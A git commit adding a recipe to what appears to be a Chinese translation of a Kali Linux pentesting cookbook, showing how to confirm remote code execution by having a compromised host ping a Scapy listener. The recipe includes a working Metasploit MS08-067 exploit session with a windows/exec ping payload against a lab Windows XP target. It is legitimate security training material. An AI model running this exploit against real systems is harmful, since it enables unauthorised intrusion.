This commit is contained in:
wizardforcel 2016-11-22 15:01:33 +08:00
parent 6b6875c736
commit dffcbc1cd5
1 changed files with 70 additions and 1 deletions

71
ch5.md
View File

@ -321,7 +321,7 @@ Nessus是最强大而全面的漏洞扫描器之一。 通过定位一个系统
2. 步骤2将简单地询问扫描是内部扫描还是外部扫描。 外部扫描将是针对可公共访问的主机执行的通常位于企业网络的DMZ中。 外部扫描不要求你处于同一网络但可以在Internet上执行。 或者从网络内执行内部扫描并且需要直接访问扫描目标的LAN。
3. 步骤3最后一步使用SSH或Windows身份验证请求扫描设备的身份验证凭据。 完成后,访问`Profiles`选项卡时,可以先前为空的列表中看到新的配置文件。 像这样:
3. 步骤3最后一步使用SSH或Windows身份验证请求扫描设备的身份验证凭据。 完成后,访问`Profiles`选项卡时,可以先前为空的列表中看到新的配置文件。 像这样:
![](img/5-3-2.jpg)
@ -555,3 +555,72 @@ Connection: Keep-Alive
### 工作原理
此脚本的原理是识别来自远程主机的连接尝试。 执行代码会导致远程系统连接回我们的监听服务器,我们可以通过利用特定的漏洞来验证远程代码执行是否存在。 在远程服务器未安装`wget`或`curl`的情况下,可能需要采用另一种手段来识别远程代码执行。
## 5.7 使用 ICMP 交互来验证漏洞
作为渗透测试者,任何给定漏洞的最佳结果是实现远程代码执行。 但是,在某些情况下,我们可能只想确定远程代码执行漏洞是否可利用,但不想实际遵循整个利用和后续利用过程。 一种方法是运行一个脚本记录ICMP流量然后在远程系统上执行ping命令。 该秘籍演示了如何编写自定义脚本用于使用ICMP流量验证远程代码执行漏洞。
### 准备
要使用ICMP交互验证漏洞你需要一个运行拥有远程代码执行漏洞的软件的系统。 此外本节需要使用文本编辑器如VIM或Nano将脚本写入文件系统。 有关编写脚本的更多信息请参阅本书第一章中的“使用文本编辑器VIM和Nano”秘籍。
### 操作步骤
在实际利用给定漏洞之前我们必须部署一个脚本来记录传入的ICMP流量。 这可以通过使用Scapy的简单Python脚本完成如下所示
```py
#!/usr/bin/python
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
def rules(pkt):
try:
if (pkt[IP].dst=="172.16.36.224") and (pkt[ICMP]):
print str(pkt[IP].src) + " is exploitable"
except:
pass
print "Listening for Incoming ICMP Traffic. Use Ctrl+C to stop listening"
sniff(lfilter=rules,store=0)
```
这个Python脚本监听所有传入的流量并将发往扫描系统的任何ICMP流量的源标记为存在漏洞。 为了使用此脚本验证漏洞是否能够利用,我们需要执行代码,使远程系统`ping`我们的扫描系统。 为了演示这一点,我们可以使用 Metasploit 来利用远程代码执行漏洞。 但在这之前,我们需要启动我们的脚本,如下:
```
root@KaliLinux:~# ./listener.py
Listening for Incoming ICMP Traffic. Use Ctrl+C to stop listening
```
接下来,我们需要利用导致远程代码执行的漏洞。 通过检查 Windows XP 框的 Nessus 扫描结果,我们可以看到系统容易受到 MS08-067 漏洞的攻击。 为了验证这一点,我们使用执行`ping`命令的载荷,使其`ping`我们的扫描系统来利用漏洞,如下所示:
```
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set PAYLOAD windows/exec
PAYLOAD => windows/exec
msf exploit(ms08_067_netapi) > set RHOST 172.16.36.225
RHOST => 172.16.36.225
msf exploit(ms08_067_netapi) > set CMD cmd /c ping 172.16.36.224 -n 1
CMD => cmd /c ping 172.16.36.224 -n 1
msf exploit(ms08_067_netapi) > exploit
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
```
Metasploit中的利用配置为使用`windows / exec`载荷,它在被利用系统中执行代码。 此载荷配置为向我们的扫描系统发送单个ICMP回显请求。 执行后,我们可以通过查看仍在监听的原始脚本来确认漏洞利用是否成功,如下所示:
```
root@KaliLinux:~# ./listener.py
Listening for Incoming ICMP Traffic. Use Ctrl+C to stop listening
172.16.36.225 is exploitable
```
### 工作原理
此脚本的原理是监听来自远程主机的传入的ICMP流量。 通过执行代码,使远程系统向我们的监听服务器发送回显请求,我们可以通过利用特定的漏洞来验证远程代码执行是否可以利用。